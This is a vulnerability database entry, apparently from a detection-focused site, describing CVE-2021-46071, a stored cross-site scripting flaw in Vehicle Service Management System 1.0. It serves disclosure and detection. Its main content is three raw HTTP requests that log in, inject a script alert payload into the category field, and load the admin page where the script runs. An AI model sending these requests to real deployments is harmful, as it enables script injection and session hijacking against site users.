🔙 목록으로 돌아가기

CVE-2021-46071: ehicle Service Management System 1.0 - Cross-Site Scripting

Titleehicle Service Management System 1.0 - Cross-Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationTo remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
CVSS Score4.8
EPSS Score0.05674
CVE IDCVE-2021-46071
CWE IDCWE-79
Tags cve2021 cve xss vms authenticated vehicle_service_management_system_project vuln

🔍 Vulnerability Description

Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Category List section in login panel.

🌐 HTTP Request

POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=vw2e1s&password=V5HNaY
POST /classes/Master.php?f=save_category HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=&category=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&status=1
GET /admin/?page=maintenance/category HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46071.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46071.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A